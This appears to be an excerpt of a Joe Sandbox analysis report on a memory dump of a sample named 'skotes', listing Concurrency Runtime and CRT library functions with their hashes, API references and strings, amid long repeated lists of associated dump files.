Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: 976dbef2164c2fc037ccb6a95a9b41d72a41619a231f61fa5add58a16abb4e81
Instruction ID: 9a212ccad3bc8033c097755a096add919887d1aa97b4c2ad5ca3780c85a0e85d
Opcode Fuzzy Hash: 976dbef2164c2fc037ccb6a95a9b41d72a41619a231f61fa5add58a16abb4e81
Instruction Fuzzy Hash: 32014571B423212E971073B65C8EEFB399F8E07704321143EBA05E7283EEB1CC404669

Function 006C2097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 006C20B7

Part of subcall function 006BCAF3: Mailbox.LIBCMT ref: 006BCB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 006C20C8
StructuredWorkStealingQueue.LIBCMT ref: 006C20FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 006C210F

Strings

e, xrefs: 006C20D9

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: 886f0ac0044c9fb43c9a33f0c2c4f1395064b15a1b29c94f8b4239f1a270a46e
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 26119131200106ABDB55DE69C8A5FBA77A6EF02324B18C19EFD06DF202DB71D901CBA1

Function 006AD029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 006AD0A5

Strings

api-ms-win-core-synch-l1-2-0.dll, xrefs: 006AD03B
WakeAllConditionVariable, xrefs: 006AD069
kernel32.dll, xrefs: 006AD04C
SleepConditionVariableCS, xrefs: 006AD05D

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: 74582bad304c3a79328570c3543374fe419e0134483882443c07a7b778f25538
Instruction ID: 03e4ef009406d237c1c22d5448fb29284c330a34eb4451fbab7e4172e7705d2e
Opcode Fuzzy Hash: 74582bad304c3a79328570c3543374fe419e0134483882443c07a7b778f25538
Instruction Fuzzy Hash: 0D0162A1B837116A9B313B765C0DEAB218B8B47B40F0A2511BE06EBA91EB60CC419D75

Function 006BE8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 006BE91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 006BE926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 006BE950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 006BE959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 006BE9DC

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: a4b7dbe58ba24ee3624bcb0af459afc05ca5a26c728ca93ea7feb7efc3e2c5c5
Instruction ID: 61e433b69a738b9b0cbfb91e9969f5d326e1a41f3d33826016677bcd3ced4333
Opcode Fuzzy Hash: a4b7dbe58ba24ee3624bcb0af459afc05ca5a26c728ca93ea7feb7efc3e2c5c5
Instruction Fuzzy Hash: 8C416075A00219EFCB09EF64C494AEDB7B6FF48310F048159E506AB390CB74AE41CF81

Function 006BD2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 006BD344
ListArray.LIBCONCRT ref: 006BD367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 006BD370
ListArray.LIBCONCRT ref: 006BD3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 006BD3B3

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
